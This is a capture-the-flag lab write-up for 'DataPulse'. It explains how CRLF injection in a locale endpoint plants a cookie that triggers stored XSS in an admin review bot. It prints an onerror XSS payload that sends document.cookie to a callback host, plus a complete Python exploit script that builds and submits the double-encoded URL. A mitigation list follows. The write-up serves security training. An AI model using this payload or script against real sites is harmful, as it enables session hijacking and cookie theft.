Lab 74 — DataPulse — Stored XSS via CRLF Injection in Locale Endpoint
Lab 74 — DataPulse — Stored XSS via CRLF Injection in Locale Endpoint
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-22 | Status: Solved Techniques: crlf_header_injection, cookie_planting, stored_xss_exploitation, browser_data_exfiltration
Summary
Task: An authenticated locale endpoint writes unsanitized input into Set-Cookie, while a support bot reviews submitted URLs. Solution: Inject a greeting cookie with CRLF, trigger its unescaped dashboard sink, and exfiltrate the admin cookie.
Lab 74 — DataPulse — Stored XSS via CRLF Injection in Locale Endpoint — hackadvisor
Description
DataPulse is an analytics dashboard with localization and display preferences, plus a support system where users submit bug-report URLs for an administrator to review. The objective is to execute JavaScript in another user's browser and steal sensitive data.
An authenticated user can change the interface locale and submit a URL to the support team. The goal is to combine these features so that JavaScript executes in the administrator's browser and sends privileged browser data to the supplied Interaction Server.
Reconnaissance
After logging in, the useful authenticated pages were:
/— dashboard and welcome banner;/reports— analytics reports;/settings— localization and display preferences;/support— bug-report submission form.
The settings page used this endpoint:
http read-only • copy allowedGET /api/set-locale?lang=en HTTP/1.1 Host: TARGET
Its normal response was a redirect:
http read-only • copy allowedHTTP/1.1 302 Found Set-Cookie: locale=en; Path=/; SameSite=Lax; Secure Location: /
The support page loaded /js/support.js. It showed that bug reports are sent as JSON to POST /api/report-bug:
json read-only • copy allowed{"url":"http://localhost:8080/...","description":"Locale greeting issue"}
The service accepted a loopback URL and instructed an administrator-controlled HeadlessChrome browser to visit it. Separately, /js/dashboard.js revealed that the greeting cookie customizes the dashboard's welcome banner.
Vulnerability Analysis
1. CRLF injection in the locale cookie
The lang parameter was copied directly into a Set-Cookie response header. A differential probe containing URL-encoded carriage-return and line-feed bytes added a new response header:
text read-only • copy allowedlang=probe%0D%0AX-Probe%3A%20yes
The response then contained an X-Probe header. This proved response-header injection; it was not translation-file or localization-template injection.
Because a line break could start another header, the endpoint could emit a second Set-Cookie header:
http read-only • copy allowedSet-Cookie: locale=en Set-Cookie: greeting=ATTACKER_VALUE; Path=/
2. Unescaped greeting sink
The application URL-decoded the greeting cookie and inserted the resulting value into .welcome-banner without HTML escaping. Planting a greeting containing an image with an onerror handler caused the subsequent redirect to / to include that raw element in the dashboard HTML.
This establishes the actual stored-XSS mechanism:
- the vulnerable locale response plants a persistent
greetingcookie; - the browser follows the redirect to the dashboard;
- the dashboard decodes and renders the cookie as HTML;
- the event handler executes in the application's origin.
Direct response-body splitting could also execute JavaScript, but it was unnecessary. The intended chain is CRLF cookie planting followed by the unescaped greeting sink.
3. Administrator trigger
The report API made the privileged browser visit a supplied http://localhost:8080/... URL. Therefore, a report pointing to the malicious locale URL caused the administrator's browser to set the injected cookie and then render it on the redirected dashboard.
Payload Construction
Two separate URL-encoding layers are essential.
The inner payload is HTML stored as the greeting cookie value:
html read-only • copy allowed<img src=x onerror="location='http://interact/INSTANCE/callback/NONCE/'+encodeURIComponent(document.cookie)">
First, URL-encode the complete HTML element. This preserves characters that are unsafe in a cookie value and lets the dashboard's cookie decoding recover the element.
Next, construct the raw locale value:
text read-only • copy alloweden\r\nSet-Cookie: greeting=ENCODED_HTML; Path=/
Finally, URL-encode that entire CRLF-bearing string for the lang query parameter. This outer encoding transports the line break and also encodes the percent signs from the inner layer, so they remain present when the injected Set-Cookie header reaches Chromium.
The resulting bot URL has this form:
text read-only • copy allowedhttp://localhost:8080/api/set-locale?lang=DOUBLE_ENCODED_VALUE
Exploitation
The following script logs in as the supplied user, builds both encoding layers, and submits the localhost URL for administrator review:
python read-only • copy allowed#!/usr/bin/env python3 import argparse import urllib.parse import requests def main() -> None: parser = argparse.ArgumentParser() parser.add_argument("--base", required=True, help="Lab origin") parser.add_argument("--interact", required=True, help="Interaction Server base URL") parser.add_argument("--nonce", default="datapulse-stored-xss") parser.add_argument("--email", default="user@test.com") parser.add_argument("--password", default="password123") args = parser.parse_args() callback = f"{args.interact.rstrip('/')}/callback/{args.nonce}/" html = ( "<img src=x onerror=\"location='" + callback + "'+encodeURIComponent(document.cookie)\">" ) # Layer 1: encode the HTML that becomes the greeting cookie value. cookie_value = urllib.parse.quote(html, safe="") # Layer 2: inject another Set-Cookie header, then encode the whole query value. lang = "en\r\nSet-Cookie: greeting=" + cookie_value + "; Path=/" bot_url = ( "http://localhost:8080/api/set-locale?lang=" + urllib.parse.quote(lang, safe="") ) session = requests.Session() login = session.post( args.base.rstrip("/") + "/login", data={"email": args.email, "password": args.password}, ) login.raise_for_status() report = session.post( args.base.rstrip("/") + "/api/report-bug", json={"url": bot_url, "description": "Locale greeting issue"}, ) report.raise_for_status() print("Report accepted; inspect callback nonce:", args.nonce) if __name__ == "__main__": main()
The final run used a unique nonce on a freshly reset instance. The Interaction Server recorded a request whose path began with:
text read-only • copy allowed/callback/NONCE/flag%3DFLAG%7BREDACTED%7D%3B%20greeting%3D...
It came from HeadlessChrome 124 at the lab-internal source 172.30.0.4. URL-decoding the path proved that the privileged flag cookie, rather than ordinary page content, had been exfiltrated. The nonce tied this callback to the submitted stored-XSS payload.
Flag Verification
Ordinary application HTML contained a conspicuous flag-shaped honeypot value. It was rejected because it was available without exploitation and had no administrator-callback provenance.
The accepted flag was instead obtained from document.cookie in the administrator's browser. Three observations establish provenance:
- the callback path matched the one-time nonce used in the submitted payload;
- the user agent and internal source matched the review bot;
- the decoded callback contained the privileged
flagcookie alongside the injectedgreetingcookie.
Operational Caveat
The first lab instance's review bot stopped visiting reports after its initial review. Additional accepted reports, a newly created account, and waits of up to ten minutes produced no callback. Resetting the instance restored one review, and submitting the refined stored-XSS payload once succeeded immediately. This behavior was operational state, not evidence against the exploit chain.
Mitigation
- Reject control characters, especially
\rand\n, in all values used to construct response headers. - Generate cookies through a framework cookie API rather than concatenating raw header strings.
- Treat cookie values as untrusted input and insert them with
textContent, or apply context-appropriate HTML escaping before rendering. - Mark sensitive cookies
HttpOnlyso JavaScript cannot read them; also retainSecureand an appropriateSameSitepolicy. - Restrict the review bot to an allowlist of safe application routes and isolate it from sensitive administrator state.
- Add a restrictive Content Security Policy as defense in depth against inline event handlers and unauthorized exfiltration endpoints.
Evidence and Artifacts
notes.mdrecords the baseline and differential responses, local stored-XSS proof, callback provenance, bot behavior, and final solve checkpoint.stored_exploit.pyis the successful exploit implementation with the two encoding layers.recon.pyrecords authenticated route and JavaScript discovery.exploit.pydocuments the tested direct response-body splitting variant, which was not required for the final chain.